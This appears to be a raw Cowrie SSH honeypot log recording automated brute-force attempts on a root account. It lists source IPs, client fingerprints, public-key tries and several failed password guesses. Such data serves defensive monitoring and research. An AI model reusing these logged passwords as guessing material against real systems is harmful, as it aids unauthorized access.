{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:22:c6:56:49:eb:d3:15:77:0a:2a:41:ab:6c:a1:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSrIJU3DzESQKC1mMEI56giPsIO2t1OSCh5GErRUFucirrIxaMbOXajGNevPVNVcmSQjL0caT4BoaUDgcSbDSXxPOcUwphpuVYWx1FDQZphvQa/vW5Q2gEOXRfOCR/lVFMA/0tTXpD0svFVN/aWlqz03RbZ8dzrn0wEuunJXdGrLaTZfqeLXLyJfSu5cK7cUlE8VpConC2XaLpnQS4oSQEYuGrcDvGDNGrYI/oA28sqhcx1Mpmwm32D1FJI2viuBnyCeLo+JD7UOd8pJYmmdQujhSAfXeWkESYCj2cC6yoRxAua4Sx0Ja7dbdOXa7pdDjZT7NarldOJ8kDRnPY+MbH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.770129Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:10.881581Z","src_ip":"135.181.67.10","session":"0c75a2a3c2a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:11.419766Z","src_ip":"60.165.124.241","session":"95f2a7fd792d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19900711","message":"login attempt [root/19900711] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:13.532868Z","src_ip":"60.165.124.241","session":"95f2a7fd792d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:14.790426Z","src_ip":"60.165.124.241","session":"95f2a7fd792d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40104,"dst_ip":"10.17.0.5","dst_port":22,"session":"318762f351f9","protocol":"ssh","message":"New connection: 60.165.124.241:40104 (10.17.0.5:22) [session: 318762f351f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:15.043903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:15.049294Z","src_ip":"60.165.124.241","session":"318762f351f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:15.307643Z","src_ip":"60.165.124.241","session":"318762f351f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"esqooel.com","message":"login attempt [root/esqooel.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:16.734289Z","src_ip":"60.165.124.241","session":"318762f351f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:17.995396Z","src_ip":"60.165.124.241","session":"318762f351f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43606,"dst_ip":"10.17.0.5","dst_port":22,"session":"829c11f5f5da","protocol":"ssh","message":"New connection: 60.165.124.241:43606 (10.17.0.5:22) [session: 829c11f5f5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:18.254927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:18.260389Z","src_ip":"60.165.124.241","session":"829c11f5f5da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":43118,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3472bd9003e","protocol":"ssh","message":"New connection: 198.46.134.148:43118 (10.17.0.5:22) [session: f3472bd9003e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:18.693496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:18.749373Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:18.770943Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:6e:1e:70:d7:b9:c4:23:5c:a4:54:55:eb:a6:6a:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ThoHFHtNnClNIPmY/wL5EoyXpSADWavTolO7wH8PIsXGXFTa6efs0CmWf2yXCFGrsGoWnjRNiHBsWPNIQFFp/hLW6Dw9y85Zrn4lVImqYX0MAepJTyrZq2ai21RWD1fr0UPLFbZT2m9At4N5CvfCg+GrczToSHWx3PbNk7h6hEA1pacFCcFJC60sI0LKG7Q/M4uAOh++UmUECUPD+itde+x0ulfK9jo0t4eLwIK20KK10rq3pRZzU4RgzCayMmdzw3/CMcRYawVOW0YKbKs5gpr1d4IpucAHb956UusF07G6AhasvqKp4yf9hiow3mCt8YtR0YY4uDrE1pgBcbEt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:6e:1e:70:d7:b9:c4:23:5c:a4:54:55:eb:a6:6a:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:18.927763Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:6e:1e:70:d7:b9:c4:23:5c:a4:54:55:eb:a6:6a:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1ThoHFHtNnClNIPmY/wL5EoyXpSADWavTolO7wH8PIsXGXFTa6efs0CmWf2yXCFGrsGoWnjRNiHBsWPNIQFFp/hLW6Dw9y85Zrn4lVImqYX0MAepJTyrZq2ai21RWD1fr0UPLFbZT2m9At4N5CvfCg+GrczToSHWx3PbNk7h6hEA1pacFCcFJC60sI0LKG7Q/M4uAOh++UmUECUPD+itde+x0ulfK9jo0t4eLwIK20KK10rq3pRZzU4RgzCayMmdzw3/CMcRYawVOW0YKbKs5gpr1d4IpucAHb956UusF07G6AhasvqKp4yf9hiow3mCt8YtR0YY4uDrE1pgBcbEt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:18.931965Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:c0:89:ff:53:8c:77:db:71:09:7a:98:b9:0e:10:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+LPf1e11q6pz82R2IGcR3swzJPHrS2cBjLLDt85Xm4a1qe/cGsiEAvAwgf0QbYByP3m9c7G+uEokpzfDf7EWQ78YHK2t/WlYvfGsqUtk01iH8cjQ+WiFX6aFjBvI/SrotK7KBYbITg66a8d5TrF5JtEYyt0w9ztwDLGhG4jyaO3pmv9RIcxdqBNaFczu/a87y0FLdV4iN3WrJc107oNsFi952HsI8Vf5Huri2pVOsaM/YBM6HsMuZEAO5F/akvQEedFZSdqGNFIDGpUfdnCq9+Oa7nEIPthmQ3I86o9zKIVYpP8QfU+j9TR6RgDj9IqeqI2PCJPTMddIt+9slk9xN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:c0:89:ff:53:8c:77:db:71:09:7a:98:b9:0e:10:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:18.997719Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:c0:89:ff:53:8c:77:db:71:09:7a:98:b9:0e:10:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+LPf1e11q6pz82R2IGcR3swzJPHrS2cBjLLDt85Xm4a1qe/cGsiEAvAwgf0QbYByP3m9c7G+uEokpzfDf7EWQ78YHK2t/WlYvfGsqUtk01iH8cjQ+WiFX6aFjBvI/SrotK7KBYbITg66a8d5TrF5JtEYyt0w9ztwDLGhG4jyaO3pmv9RIcxdqBNaFczu/a87y0FLdV4iN3WrJc107oNsFi952HsI8Vf5Huri2pVOsaM/YBM6HsMuZEAO5F/akvQEedFZSdqGNFIDGpUfdnCq9+Oa7nEIPthmQ3I86o9zKIVYpP8QfU+j9TR6RgDj9IqeqI2PCJPTMddIt+9slk9xN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:19.002388Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:21:52:0d:05:1b:9c:ef:f0:bd:e9:ec:46:a0:1d:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOK/Ejmw0+F88A9+JJC/L6dWwbx5w305i2ZZODD7E7OZfGaSDXB6ImHabs8H76nGE3JRKUDZ/JqPGcRnnfm8O0G30xIxK+L6/+6DS4j49Y4xno9tzHfoT5T6ydjDMfjQmj8e3LZhOG+WTTW476cDtqlzPn9yhbsXa3bNidJy5XLfWBlthjm7MgkOTx0SSOMkKerZzHE/fiIP1MGPB3tq4KTAPNtGLZdjOPSXUd2gbriKSUh0lxLReNtZI/dRjYSMiLlT5EAeQAfqjY4u5jrEP8iucFOOct0kKPRzqX0WF+5gC6XprDXoisveRuNHkLbQfTKqQH5wpHyvZqS/pyLmUZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:21:52:0d:05:1b:9c:ef:f0:bd:e9:ec:46:a0:1d:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:19.035273Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:21:52:0d:05:1b:9c:ef:f0:bd:e9:ec:46:a0:1d:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOK/Ejmw0+F88A9+JJC/L6dWwbx5w305i2ZZODD7E7OZfGaSDXB6ImHabs8H76nGE3JRKUDZ/JqPGcRnnfm8O0G30xIxK+L6/+6DS4j49Y4xno9tzHfoT5T6ydjDMfjQmj8e3LZhOG+WTTW476cDtqlzPn9yhbsXa3bNidJy5XLfWBlthjm7MgkOTx0SSOMkKerZzHE/fiIP1MGPB3tq4KTAPNtGLZdjOPSXUd2gbriKSUh0lxLReNtZI/dRjYSMiLlT5EAeQAfqjY4u5jrEP8iucFOOct0kKPRzqX0WF+5gC6XprDXoisveRuNHkLbQfTKqQH5wpHyvZqS/pyLmUZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:19.039103Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:a5:0d:a0:99:ca:eb:c5:68:f0:83:5c:4c:92:34:86","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcm2NdIdQvN7gc5r6or7074j8j5hRlE9wTzGmEonJhC","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2a:a5:0d:a0:99:ca:eb:c5:68:f0:83:5c:4c:92:34:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:19.067716Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:a5:0d:a0:99:ca:eb:c5:68:f0:83:5c:4c:92:34:86","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcm2NdIdQvN7gc5r6or7074j8j5hRlE9wTzGmEonJhC","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:19.072202Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:22:c6:56:49:eb:d3:15:77:0a:2a:41:ab:6c:a1:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSrIJU3DzESQKC1mMEI56giPsIO2t1OSCh5GErRUFucirrIxaMbOXajGNevPVNVcmSQjL0caT4BoaUDgcSbDSXxPOcUwphpuVYWx1FDQZphvQa/vW5Q2gEOXRfOCR/lVFMA/0tTXpD0svFVN/aWlqz03RbZ8dzrn0wEuunJXdGrLaTZfqeLXLyJfSu5cK7cUlE8VpConC2XaLpnQS4oSQEYuGrcDvGDNGrYI/oA28sqhcx1Mpmwm32D1FJI2viuBnyCeLo+JD7UOd8pJYmmdQujhSAfXeWkESYCj2cC6yoRxAua4Sx0Ja7dbdOXa7pdDjZT7NarldOJ8kDRnPY+MbH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:22:c6:56:49:eb:d3:15:77:0a:2a:41:ab:6c:a1:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:19.099589Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:22:c6:56:49:eb:d3:15:77:0a:2a:41:ab:6c:a1:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSrIJU3DzESQKC1mMEI56giPsIO2t1OSCh5GErRUFucirrIxaMbOXajGNevPVNVcmSQjL0caT4BoaUDgcSbDSXxPOcUwphpuVYWx1FDQZphvQa/vW5Q2gEOXRfOCR/lVFMA/0tTXpD0svFVN/aWlqz03RbZ8dzrn0wEuunJXdGrLaTZfqeLXLyJfSu5cK7cUlE8VpConC2XaLpnQS4oSQEYuGrcDvGDNGrYI/oA28sqhcx1Mpmwm32D1FJI2viuBnyCeLo+JD7UOd8pJYmmdQujhSAfXeWkESYCj2cC6yoRxAua4Sx0Ja7dbdOXa7pdDjZT7NarldOJ8kDRnPY+MbH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:19.104051Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:19.132923Z","src_ip":"198.46.134.148","session":"f3472bd9003e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:19.262208Z","src_ip":"60.165.124.241","session":"829c11f5f5da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wong","message":"login attempt [root/wong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:25.561757Z","src_ip":"60.165.124.241","session":"829c11f5f5da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:27.449051Z","src_ip":"60.165.124.241","session":"829c11f5f5da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54708,"dst_ip":"10.17.0.5","dst_port":22,"session":"5176d335ac06","protocol":"ssh","message":"New connection: 60.165.124.241:54708 (10.17.0.5:22) [session: 5176d335ac06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:27.735976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:27.740747Z","src_ip":"60.165.124.241","session":"5176d335ac06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:27.997523Z","src_ip":"60.165.124.241","session":"5176d335ac06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd","message":"login attempt [root/asdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:28.788923Z","src_ip":"60.165.124.241","session":"5176d335ac06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:30.057079Z","src_ip":"60.165.124.241","session":"5176d335ac06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57566,"dst_ip":"10.17.0.5","dst_port":22,"session":"b82ad9ff430a","protocol":"ssh","message":"New connection: 60.165.124.241:57566 (10.17.0.5:22) [session: b82ad9ff430a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:30.270715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:30.276259Z","src_ip":"60.165.124.241","session":"b82ad9ff430a","protocol":"ssh"}
